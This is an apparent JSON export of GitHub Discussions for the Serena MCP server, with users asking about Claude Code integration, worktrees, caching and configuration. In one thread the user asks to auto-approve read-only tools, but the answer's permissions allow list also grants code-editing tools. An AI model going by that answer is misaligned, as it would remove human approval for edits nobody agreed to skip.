        "login": "wkundrus",
        "avatar_url": "https://avatars.githubusercontent.com/u/4481261?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjERH",
      "number": 793,
      "title": "Seems that Claude Code isn't very interested in serena",
      "body": "After using it for a while, I've noticed that my cc doesn't seem very interested in Serena—it rarely uses Serena for tasks, even though I've already instructed it in CLAUDE.md to consider this tool more often. Codex, on the other hand, appears far more reliant on Serena, closely following Serena's suggestions and making every effort to use this tool whenever possible.",
      "created_at": "2025-11-30T09:41:41Z",
      "updated_at": "2025-11-30T09:41:41Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "Anivie",
        "avatar_url": "https://avatars.githubusercontent.com/u/88354708?u=a2f0a8954af3a8fc82e89520e39e96424a39c66a&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjD4D",
      "number": 791,
      "title": "Serena + Kilo Code + z.ai",
      "body": "This doesn't really work for me.\r\n\r\nI'm explicitly writing the prompt like: \"Using Serena MCP, refactor this and that\". Nope, it starts to load complete files instead of searching for symbols. I stop it and say: \"Rule: USE SERENA MCP!\". Say 2 times out of 5 it works, but the rest of the times it just spits the Serena commands into the discussion like they're not recognized and then gives up.\r\n\r\nThis is in Kilo Code's \"code mode\", in \"debug mode\" I never got it to work.\r\n\r\nWhich piece of my combo is at fault? I'm guessing that somehow Kilo's system prompts are clashing with Serena's but I don't know how to start fixing it.",
      "created_at": "2025-11-29T12:44:59Z",
      "updated_at": "2025-11-29T13:01:34Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "janosrusiczki",
        "avatar_url": "https://avatars.githubusercontent.com/u/189468?u=878e8f1fcc3cdc47adb48b20cc32b0d72dfac84c&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Aidvl",
      "number": 677,
      "title": "Serena and git worktrees?",
      "body": "When using `git worktree add -b` we get a clean slate like directory, so `/.serena/cache` files do not transfer over to the worktree. \r\n\r\nWould the suggested workflow be to just copy the cache files into new worktree created directory? (My re-indexing takes about 1.5 minutes on kotlin code, so would be nice to avoid it)\r\n\r\n `ORIG/.serena/cache`  -COPY_TO-> `WORKTREE/.serena/cache` \r\n \r\n Or are there some absolute paths that get thrown into the PKL files like `.serena/cache/kotlin/document_symbols_cache_v23-06-25.pkl`, which would prevent such copying? ",
      "created_at": "2025-10-16T16:24:12Z",
      "updated_at": "2025-11-28T12:10:27Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A4FPg",
        "body": "Copying is the way to go, there are no absolute paths. If you want, feel free to add a few sentences on that in the readme"
      },
      "user": {
        "login": "nickolay-kondratyev",
        "avatar_url": "https://avatars.githubusercontent.com/u/4050134?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ai4h6",
      "number": 760,
      "title": "Using `Serena` in GitHub CoPilot CLI",
      "body": "Concerning GitHub CLI, what would be the correct way to use `Serena`? \r\n\r\nThx for support\r\n\r\n\r\n```json\r\n  \"serena\": {\r\n      \"type\": \"local\",\r\n      \"command\": \"uvx\",\r\n      \"tools\": [\r\n        \"*\"\r\n      ],\r\n      \"args\": [\r\n        \"--from\",\r\n        \"git+https://github.com/oraios/serena\",\r\n        \"serena\",\r\n        \"config\",\r\n        \"editor\"\r\n      ]\r\n    }\r\n```\r\n\r\nSee also: https://github.com/oraios/serena/issues/757",
      "created_at": "2025-11-15T18:11:38Z",
      "updated_at": "2025-11-21T17:30:58Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A5YBX",
        "body": "Actually this config is working for me pretty fine:\r\n\r\n```json\r\n    \"serena\": {\r\n      \"tools\": [\r\n        \"*\"\r\n      ],\r\n      \"type\": \"local\",\r\n      \"command\": \"uvx\",\r\n      \"args\": [\r\n        \"--from\",\r\n        \"git+https://github.com/oraios/serena\",\r\n        \"serena\",\r\n        \"start-mcp-server\",\r\n        \"serena==latest\",\r\n        \"--context\",\r\n        \"agent\"\r\n      ]\r\n    },\r\n```\r\n\r\n<img width=\"1046\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/57c2c8ba-82f3-4204-9272-6f082c6ce0d2\" />\r\n"
      },
      "user": {
        "login": "Anselmoo",
        "avatar_url": "https://avatars.githubusercontent.com/u/13209783?u=fb29a0565488703e3b8678b28e93e27101bc93f3&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ai8rZ",
      "number": 779,
      "title": "Best practices within a monorepo/multirepo",
      "body": "Somewhat evolved from https://github.com/oraios/serena/issues/492 but not entirely the same.\r\n\r\nI want to figure out what is the best way of using Serena within such a repository; do I have one `.serena/` at repository root? or do I have a per-project `.serena/` instead each with their unique quirks/configs. \r\n\r\nPer-project Serena configurations seem like the most sensible approach here but in the case of my current setup, it contains nested projects as well; in a per-project `.serena` approach that would mean adding ignore directories per nested project so that Serena does not get confused (logically speaking) but what about working with tools such as Claude Code (or other similar ones)?\r\n\r\nWill there be instructions for Claude (or other LLMs) to \"lazily\" activate Serena on a per-project basis or can Serena lazily run itself if a valid `.serena/` exists as the LLM asks to search in other paths/projects or files which are not within the current purview of Serena?\r\n\r\nThere may be other use cases or scenarios that I haven't thought about but I guess this would be a start.",
      "created_at": "2025-11-20T16:17:21Z",
      "updated_at": "2025-11-20T16:17:22Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "dustyhorizon",
        "avatar_url": "https://avatars.githubusercontent.com/u/4987132?u=344a0bc695dd211f128c690aa9f0fb07bce9e2f3&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AivWh",
      "number": 724,
      "title": "Python environment decetion",
      "body": "I'm not sure this is a bug or a config issue I miss, so a discussion is posted here.\r\n\r\nMy serena is lanuched with some environments like \r\n```\r\nexport PATH=<python-path>:$PATH\r\n...\r\nexec -a \"$0\" \"path-to-serena\" \"$@\"\r\n```\r\n\r\nAnd in my python projects, serena uses the python for serena, not python in my venv, because `PATH` has a higher priority for serena, and other enviroment variables such as venv activation is ignored here.\r\nThat causes serena use wrong python to import pyright.\r\nBy the way, I also want pyright installed seperately instead of current python environments, but serena uses [a fix coded method to load pyright](https://github.com/oraios/serena/blob/5cb3bf9a88571ff56026b4bf8810e2afec4d9776/src/solidlsp/language_servers/pyright_server.py#L40) with current running python.",
      "created_at": "2025-11-05T02:20:58Z",
      "updated_at": "2025-11-20T01:40:36Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A47q3",
        "body": "To resolve this issue, you can try the following steps:\r\n\r\nFirst, ensure your virtual environment is activated **before** launching Serena. This way, the Python in your venv takes precedence in the PATH.\r\n\r\nIf that doesn’t work, modify the Serena launch script to explicitly use the Python interpreter from your venv. Instead of relying on the PATH, specify the full path to your venv’s Python executable when launching Serena, like `exec -a \"$0\" \"/path/to/venv/bin/python\" \"path-to-serena\" \"$@\"`.\r\n\r\nFor separating Pyright, you can install Pyright in a dedicated environment and then adjust Serena’s code that loads Pyright to point to the Python interpreter of that dedicated environment. This way, Serena will use the correct Python to import Pyright without interfering with your project’s venv."
      },
      "user": {
        "login": "Vonfry",
        "avatar_url": "https://avatars.githubusercontent.com/u/3413119?u=cad68b19a2bebe37ec0a7b6c91bc43e0591b5231&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ai34L",
      "number": 759,
      "title": "How to force Claude Code to use serena for file navigation all the time?",
      "body": "From time to time Claude Code often \"forgets\" about serena for file navigation and fallbacks to use its default tools like \"Read\", \"Update\" etc, even if it mentioned in CLAUDE.md with IMPORTANT note.\r\n\r\nWhat other guarantees I can use to not fallback to defaults file system tools when using Claude Code?",
      "created_at": "2025-11-14T16:14:10Z",
      "updated_at": "2025-11-14T16:14:11Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "nalkhovikleverx",
        "avatar_url": "https://avatars.githubusercontent.com/u/103419748?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ai2bc",
      "number": 754,
      "title": "Compliments on UI work",
      "body": "I just wanted to say - whomever is putting in the time to the webUI is doing some great work!\r\n\r\nits looking more and more fantastic each time i load it.",
      "created_at": "2025-11-13T05:29:06Z",
      "updated_at": "2025-11-13T05:43:18Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "Dedme",
        "avatar_url": "https://avatars.githubusercontent.com/u/40647185?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ai041",
      "number": 746,
      "title": "The listening address of dashboard is hardcoded. Is it intentional or open to contribution?",
      "body": "https://github.com/oraios/serena/blob/ab92a275545880b2e34515f26a988b79a3f603fd/src/serena/dashboard.py#L575-L579\r\n\r\nJust want to know if this decision is final.",
      "created_at": "2025-11-11T14:09:36Z",
      "updated_at": "2025-11-14T04:52:32Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A4_Pn",
        "body": "We want to make this configurable, and more importantly, the default should not be 0.0.0.0 but 127.0.0.1 (as the former is potentially a security hazard). AFAIK, it was changed to the former to make the Docker mode work.\r\nIf there isn't an issue on this yet, I will add one.\r\n\r\nEDIT: Added https://github.com/oraios/serena/issues/748"
      },
      "user": {
        "login": "zzJinux",
        "avatar_url": "https://avatars.githubusercontent.com/u/6695226?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AiyUi",
      "number": 732,
      "title": "Does serena respect global git ignore?",
      "body": "When I onboard serena in an empty (newly created) ruby gem project, it does not finish for long time (10 minutes and more) and I killed it.\r\nWith `--log-level DEBUG` I found it took time in parsing bundled gems in `./vendor/bundle` even though I have `/vendor/bundle/` in the global git ignore file (`~/.config/git/ignore`) but it seems not be respected.\r\nI added `/vendor/bundle/` to local `.gitignore` and it now finishes within 5 seconds.\r\n\r\n\r\n",
      "created_at": "2025-11-08T05:42:23Z",
      "updated_at": "2026-01-16T14:18:29Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A44Iz",
        "body": "Also, I would argue that relying on the global gitignore file is not a good practice for development in general, because it will not be shared among developers. Projects should be as self-contained as possible. (Of course, this may not be relevent to you if you are working on your own...)"
      },
      "user": {
        "login": "sakuro",
        "avatar_url": "https://avatars.githubusercontent.com/u/10973?u=c979affb6441c111d7713e2bd0ddf5b0300c45cd&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AiekZ",
      "number": 684,
      "title": "How to allow Claude to run non-mutating Serena tools instantly without asking for permission?",
      "body": "Every single time claude needs to use one of the most innocuous, information-gathering tools, I have to manually intervene\r\n\r\n```\r\n╭────────────────────────────...\r\n│ Tool use                   ...\r\n│                            ...\r\n│   serena - find_symbol(name...\r\n│   Retrieves information on ...\r\n│   which represents a patter...\r\n│   The returned symbol locat...\r\n│   Specify `depth > 0` to re...\r\n│                            ...\r\n│   The matching behavior is ...\r\n│   either be a simple name (...\r\n│   or \"/class/method\" (absol...\r\n│   but rather a path in the ...\r\n│   be included in the `name_...\r\n│   the `within_relative_path...\r\n│   will always be composed o...\r\n│                            ...\r\n│   Key aspects of the name p...\r\n│   - Trailing slashes in `na...\r\n│   - The name of the retriev...\r\n│     the last segment of `na...\r\n│     have a desired sequence...\r\n│   - If there is no starting...\r\n│     restriction on the ance...\r\n│     against symbols with na...\r\n│   - If `name_path` contains...\r\n│     with the same ancestors...\r\n│     `class/method` as well ...\r\n│   - If `name_path` starts w...\r\n│     that the first segment ...\r\n│     For example, passing `/...\r\n│     Passing `/class/method`...\r\n│                            ...\r\n│ Do you want to proceed?\r\n│ ❯ 1. Yes\r\n│   2. Yes, and don't ask again for serena - find_symbol commands in /project\r\n│   3. No, and tell Claude what to do differently (esc)\r\n│\r\n╰────────────────────────────...\r\n```\r\n\r\n\r\nIs there a way I can set everything up so that claude won't ever ask for permission for the serena stuff that is guaranteed to not make any changes to the code? Like looking up symbols",
      "created_at": "2025-10-17T14:14:00Z",
      "updated_at": "2025-11-06T14:51:36Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A4Ir3",
        "body": "You can add this commands to /Users/<your_user>/.claude/settings.json like this:\r\n\r\n```\r\n{\r\n  \"permissions\": {\r\n    \"allow\": [\r\n      \"mcp__serena__list_dir\",\r\n      \"mcp__serena__find_file\", \r\n      \"mcp__serena__search_for_pattern\",\r\n      \"mcp__serena__get_symbols_overview\",\r\n      \"mcp__serena__find_symbol\",\r\n      \"mcp__serena__find_referencing_symbols\",\r\n      \"mcp__serena__replace_symbol_body\",\r\n      \"mcp__serena__insert_after_symbol\",\r\n      \"mcp__serena__insert_before_symbol\",\r\n    ]\r\n  }\r\n}\r\n```"
      },
      "user": {
        "login": "myarcana",
        "avatar_url": "https://avatars.githubusercontent.com/u/47053826?u=d0feb5233df0428851fff6e1c72da470b38fc141&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AisAD",
      "number": 718,
      "title": "Using Serena with Git worktrees — duplicate project names",
      "body": "Hi, I just discovered Serena and started testing it with a monorepo at work. I use Git worktrees extensively, creating one for each major feature.\r\n\r\nI’m considering committing .serena/project.yml to Git. Since my coworkers don’t need my worktree-specific names, I’d set the project_name value to the actual project name. However, this would result in duplicate project names across worktrees, which the docs warn against.\r\n\r\nWhat are the practical consequences of this? How do others handle this situation when using Serena with worktrees?",
      "created_at": "2025-10-31T14:24:42Z",
      "updated_at": "2025-11-04T14:10:20Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "fhofherr",
        "avatar_url": "https://avatars.githubusercontent.com/u/509071?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AioZk",
      "number": 705,
      "title": "Crash in Ubuntu container",
      "body": "Hitting this crash, I think it's trying to run clangd on my C project\r\n\r\n```\r\n$ cat /etc/os-release\r\nPRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\r\nNAME=\"Ubuntu\"\r\nVERSION_ID=\"22.04\"\r\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\r\nVERSION_CODENAME=jammy\r\nID=ubuntu\r\nID_LIKE=debian\r\nHOME_URL=\"https://www.ubuntu.com/\"\r\nSUPPORT_URL=\"https://help.ubuntu.com/\"\r\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\r\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\r\nUBUNTU_CODENAME=jammy\r\n```\r\n\r\nbacktrace from log:\r\n```\r\nINFO  2025-10-28 00:35:46,976 [MainThread] mcp.server.lowlevel.server:_handle_request:625 - Processing request of type CallToolRequest\r\nINFO  2025-10-28 00:35:46,977 [MainThread] serena.agent:issue_task:369 - Scheduling Task-11[ReadFileTool]\r\nINFO  2025-10-28 00:35:46,979 [SerenaAgentExecutor_0] serena.agent:start:329 - Task-11[ReadFileTool] starting ...\r\nINFO  2025-10-28 00:35:46,981 [SerenaAgentExecutor_0] serena.tools.tools_base:_log_tool_application:206 - read_file: relative_path='README.md', start_line=0, end_line=None, max_answer_chars=-1\r\nINFO  2025-10-28 00:35:46,981 [SerenaAgentExecutor_0] serena.tools.tools_base:task:248 - Language server is not running. Starting it ...\r\nINFO  2025-10-28 00:35:46,981 [SerenaAgentExecutor_0] serena.project:create_language_server:376 - Creating language server instance for /home/frr/frr.\r\nERROR 2025-10-28 00:35:46,997 [SerenaAgentExecutor_0] serena.tools.tools_base:task:269 - Error executing tool: Expected exactly one runtime dependency for platform-linux-arm64 and dependency_id=None, found 0\r\nTraceback (most recent call last):\r\n  File \"/home/frr/serena/src/serena/tools/tools_base.py\", line 249, in task\r\n    self.agent.reset_language_server()\r\n  File \"/home/frr/serena/src/serena/agent.py\", line 533, in reset_language_server\r\n    self.language_server = self._active_project.create_language_server(\r\n                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n  File \"/home/frr/serena/src/serena/project.py\", line 377, in create_language_server\r\n    return SolidLanguageServer.create(\r\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n  File \"/home/frr/serena/src/solidlsp/ls.py\", line 152, in create\r\n    ls = ls_class(config, logger, repository_root_path, solidlsp_settings)  # type: ignore\r\n         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n  File \"/home/frr/serena/src/solidlsp/language_servers/clangd_language_server.py\", line 33, in __init__\r\n    clangd_executable_path = self._setup_runtime_dependencies(logger, config, solidlsp_settings)\r\n                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n  File \"/home/frr/serena/src/solidlsp/language_servers/clangd_language_server.py\", line 92, in _setup_runtime_dependencies\r\n    dep = deps.get_single_dep_for_current_platform()\r\n          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n  File \"/home/frr/serena/src/solidlsp/language_servers/common.py\", line 71, in get_single_dep_for_current_platform\r\n    raise RuntimeError(\r\nRuntimeError: Expected exactly one runtime dependency for platform-linux-arm64 and dependency_id=None, found 0\r\nINFO  2025-10-28 00:35:46,998 [SerenaAgentExecutor_0] serena.tools.tools_base:task:273 - Result: Error executing tool: Expected exactly one runtime dependency for platform-linux-arm64 and dependency_id=None, found 0\r\n```",
      "created_at": "2025-10-28T01:59:24Z",
      "updated_at": "2025-10-30T11:35:38Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "bdf369",
        "avatar_url": "https://avatars.githubusercontent.com/u/679571?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ahk-C",
      "number": 542,
      "title": "How to use it in a monorepo with multiple languages ?",
      "body": "Hi,\r\nI wander how to setup my monorepo on this ? \r\nI have folders like : \r\n- apps : \r\n  - python-app\r\n  - js-app\r\n  - ... \r\n - libs \r\n\r\n\r\nI see the config file is only one language ? Is there a workaround if no possibilities yet for multi language support ? ",
      "created_at": "2025-08-26T09:39:24Z",
      "updated_at": "2025-10-30T01:12:48Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A4hEB",
        "body": "Serena now has full monorepo support, you just need to set the languages in your project.yml (see #704)"
      },
      "user": {
        "login": "slamer59",
        "avatar_url": "https://avatars.githubusercontent.com/u/25283272?u=319338f4c3e5e983f4b8c83e1e65674c2f0cdbd9&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Aggfc",
      "number": 271,
      "title": "How do I disable the logs opening on my browser?",
      "body": "Everytime the server starts up it opens the browser window with the logs. How do I disable this? I use Claude Desktop and Claude Code so it gets very annoying to deal with.",
      "created_at": "2025-07-02T10:03:54Z",
      "updated_at": "2025-10-26T15:38:26Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A0B4Q",
        "body": "You can set `--enable-web-dashboard False` in your call to `serena-mcp-server` in your MCP config.\r\n\r\nIf you are using the local setup, where you clone the repo explicitly, you can also set the value to false in the `serena_config.yml`"
      },
      "user": {
        "login": "Aditeya",
        "avatar_url": "https://avatars.githubusercontent.com/u/22963960?u=e217c6da80f7db41f06aa9549892a13003ce527f&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AifJd",
      "number": 686,
      "title": "Serena as planner-researcher subagent?",
      "body": "I've just read this good article about subagents: https://faafospecialist.substack.com/p/vb-04-subagents-from-basic-to-deep\r\n\r\n> # Key takeaways\r\n> \r\n> - Context Management / Context Engineering is critical!\r\n> - **Context Rot**: LLM performance degrades as input length increases.\r\n> - Protect the Main Context at all costs.\r\n> - Use the File System as Memory to streamline context.\r\n> - Process for building up useful context: “Explore - Planning - Execute.”\r\n> - Common Mistake: Using Sub Agents for Implementation.\r\n> - Sub Agents are an army of useful information collectors! (Context Collector Army)\r\n> \r\n> [...]\r\n> \r\n> As you can see: None of the agents handle the IMPLEMENTATION itself!\r\n> \r\n> All agents now only serve to collect useful information for the Main Context Window of the primary agent (Claude Code).\r\n> \r\n> Then, they feed the plans/reports back to the primary agent (Claude Code itself) to begin execution\r\n\r\n\r\nI feel it would be very useful to have a subagent that uses Serena to explore the project and explain things about it to Claude.\r\n\r\nHow could I set that up?\r\n\r\nOne problem (?) I noticed with running  Claude Code with Serena MCP in the first place\r\n\r\n    claude mcp add serena -- \\\r\n    uvx --from git+https://github.com/oraios/serena serena \\\r\n    start-mcp-server --context ide-assistant --project \"$(pwd)\"\r\n\r\nin the first place is that after claude code started up, claude was active and interactable for quite a long time before serena finally started, leading to a conversation like this\r\n\r\n    **> Are you using Serena MCP? **\r\n    \r\n    ⏺ No, I'm not currently using Serena MCP. I don't see any MCP (Model Context Protocol) servers connected in this session.\r\n    \r\n      MCP-provided tools would appear with an \"mcp__\" prefix in my available tools. If you'd like to use Serena MCP or any other MCP server with Claude Code, you would need to configure\r\n      it in your settings.\r\n    \r\n      Are you looking to set up an MCP server, or were you checking for a specific functionality that Serena MCP provides?\r\n    \r\n    **> What about now? Check again **\r\n    \r\n    ⏺ You're right! Yes, I do have access to Serena MCP. Looking at my available tools, I can see many tools with the **mcp__serena__** prefix, including:\r\n    \r\n      - Symbol-based code navigation and editing tools (**find_symbol**, **replace_symbol_body**, **insert_after_symbol**, etc.)\r\n      - Semantic search capabilities (**search_for_pattern**, **find_referencing_symbols**)\r\n      - Code overview tools (**get_symbols_overview**)\r\n      - Memory management for storing project information\r\n      - Project management tools\r\n    \r\n      These tools are designed for intelligent, token-efficient code exploration and editing by working with code symbols (classes, methods, functions) rather than just raw text. This\r\n      allows me to navigate and modify codebases more precisely.\r\n    \r\n      Sorry for the confusion in my initial response - Serena MCP is indeed active and available for this session!\r\n\r\n\r\nI worry that in a naive set up of an subagent with serena-via-mcp, the subagent would start getting to work before serena is ready\r\n\r\nI've seen everywhere here it's recommended to start Serena manually in SSE mode. Is there a way I can instead make it so that when a subagent needs serena, if serena is not running, it starts it itself? I wouldn't want to have serena always running in the background because I don't always need it. ",
      "created_at": "2025-10-18T11:46:01Z",
      "updated_at": "2025-10-18T16:18:04Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "myarcana",
        "avatar_url": "https://avatars.githubusercontent.com/u/47053826?u=d0feb5233df0428851fff6e1c72da470b38fc141&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag8s8",
      "number": 365,
      "title": "Claud Code - subagents",
      "body": "I use Serena in Claud Code and I'm very pleased with the tool's performance. I'm wondering how I can use Serena as a subagent in Claud Code to make it even more effective. It annoys me that I often have to remind Claud Code to use this tool.",
      "created_at": "2025-07-27T10:06:41Z",
      "updated_at": "2025-10-18T16:13:51Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "jarx88",
        "avatar_url": "https://avatars.githubusercontent.com/u/31516391?u=7f16828b7dc2525c714939de6e46c639af2691df&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Aie6p",
      "number": 685,
      "title": "How to use serena memories in addition to files imported with claude md?",
      "body": "My CLAUDE.md in the kotlin project looks as follows\r\n\r\n```\r\n@.ai_input/memory/0_project_overview.md\r\n@.ai_input/memory/1_structure.md\r\n@.ai_input/memory/2_build.md\r\n@.ai_input/memory/2_test.md\r\n@.ai_input/memory/3_kotlin_development_standards.md\r\n@.ai_input/memory/4_testingStandards.md\r\n@.ai_input/memory/4_testingStandards.noJsTarget.md\r\n@.ai_input/memory/4_testingStandards.withJsTarget.md\r\n@.ai_input/memory/5_js_target_support.md\r\n@.ai_input/memory/6_version_management.md\r\n```\r\n\r\nWhen I ran onboarding from serena it generated memories that very much mimicked what was already in these files. \r\n\r\nTo me this raising a flag on maintaince of having duplicated instructions. So the question is there value keeping serena memories separate or should I symlink my `.ai_input/memory/` directory into `./serena/memories` so that serena has access to pre-existing \"memory\" (context input) files. \r\n\r\nOR will even symlinking be just be duplicating the size of instructions in context, as claude.md is going to be loaded into the context, and instead we should keep serena memories much more concise? Trying to understand if there is something special with serena memories approach vs claude md files. ",
      "created_at": "2025-10-18T01:17:58Z",
      "updated_at": "2025-10-18T11:31:11Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "nickolay-kondratyev",
        "avatar_url": "https://avatars.githubusercontent.com/u/4050134?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhGTb",
      "number": 406,
      "title": "Tutorial for Claude Code + Serena Best practice",
      "body": "Hi, is there any resource or complete tutorial on how to work with Claude Code + Serena? Also about best practices, sub agents, memories vs claude.md, advanced techniques, recent changes?\r\n\r\nI've been using Serena for a few months with Claude Desktop and am very happy about it. I want to make the change with Claude Code, but I still don't have a clear picture on how to set up everything correctly.\r\n\r\nOr can you give me some pointers and directions so I can research myself but in the right direction?\r\n\r\nThank you for your excellent work on this project!",
      "created_at": "2025-08-04T07:24:19Z",
      "updated_at": "2025-10-17T00:57:42Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "kekkoz92",
        "avatar_url": "https://avatars.githubusercontent.com/u/189150280?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AidwV",
      "number": 678,
      "title": "How does serena keep cached index files up to date?",
      "body": "Indexing my Kotlin repo takes a couple minutes. So I run the following to index the repository.\r\n\r\n```\r\n    uvx --from git+https://github.com/oraios/serena serena project index --timeout 300\r\n```\r\n\r\n> The typical usage involves the client (Claude Code, Claude Desktop, etc.) running the MCP server as a subprocess (using stdio communication.\r\n\r\nThe question that comes up, how does serena make sure that the indexes are up to date and NOT stale. \r\n\r\nDoes it update the index cache files (like `$PROJECT/.serena/cache/kotlin/document_symbols_cache_v23-06-25.pkl`) while it is being utilized by claude code? And if there are changes to the file while claude code is not running in this case then do we have to run entire re-index again or is there some faster command? \r\n\r\n```\r\n    uvx --from git+https://github.com/oraios/serena serena project index --timeout 300\r\n```\r\n\r\n\r\n",
      "created_at": "2025-10-16T16:40:35Z",
      "updated_at": "2025-10-17T00:58:12Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A4FPw",
        "body": "The cache is always updated when file content changes. The only thing that's not taken care of is pruning the cache, so the file may grow large over time. But information from the cache is never stale"
      },
      "user": {
        "login": "nickolay-kondratyev",
        "avatar_url": "https://avatars.githubusercontent.com/u/4050134?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Aicht",
      "number": 671,
      "title": "list_dir with relative_path \".\"  fails with an error",
      "body": "Every time claude tries to analyze the project, it runs `list_dir` with `.` relative path, and fails with an error.\r\n\r\n```\r\n● serena - list_dir (MCP)(relative_path: \".\", recursive: true, skip_ignored_files: true)\r\n  ⎿  Error executing tool: Path . is ignored; cannot access for safety reasons \r\n```\r\n\r\nIs this a serena thing, a claude thing, or something else entirely? Can I somehow configure claude and/or serena mcp to use absolute path to the current dir when calling `list_dir`, instead of (default?) relative `.` ?",
      "created_at": "2025-10-15T12:20:48Z",
      "updated_at": "2025-10-15T14:25:16Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A4BuL",
        "body": "@serpro69 pls create an issue and provide additional info on your system and config. I can't reproduce this\r\n\r\n```\r\n● serena - list_dir (MCP)(relative_path: \".\", recursive: true, skip_ignored_files: true)\r\n  ⎿  {                                                                                                                                                            \r\n       \"dirs\": [\r\n         \".claude\",\r\n     … +536 lines (ctrl+o to expand)\r\n```"
      },
      "user": {
        "login": "serpro69",
        "avatar_url": "https://avatars.githubusercontent.com/u/22973227?u=cbdf35ef31bf3db8a118503beb03f1f513c38481&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AiM_8",
      "number": 649,
      "title": "Does Serena support LSP quickfix code actions?",
      "body": "Hi, I found serena while searching for a way to get Claude Code to use clangd to automatically fix issues reported by clang-tidy. In many cases, the clangd LSP provides quickfix code actions to fix certain clang-tidy issues. Is this supported by Serena?",
      "created_at": "2025-09-30T12:16:59Z",
      "updated_at": "2025-09-30T12:17:00Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "landersson",
        "avatar_url": "https://avatars.githubusercontent.com/u/2536670?u=a5e21e1872f6a8bb4c4010d491f57dbbf9c41f36&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhbNC",
      "number": 501,
      "title": "Intelligent Routing in Serena Based on Request Complexity to Optimize Model Usage",
      "body": "I’m using Serena with GitHub Copilot with very good results. Copilot has limited premium request quotas, while other models can be used without limits. Would it be possible to instruct Serena to route requests to different models depending on the complexity of the request, and use the unlimited models when necessary?",
      "created_at": "2025-08-19T15:19:02Z",
      "updated_at": "2025-09-12T08:40:34Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "lluispc",
        "avatar_url": "https://avatars.githubusercontent.com/u/92653787?u=a95312623fc0ceaaf0ff43dc0aed6190a836416c&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ah5Al",
      "number": 623,
      "title": "Should the `execute_shell_command` tool detect and activate virtual environments?",
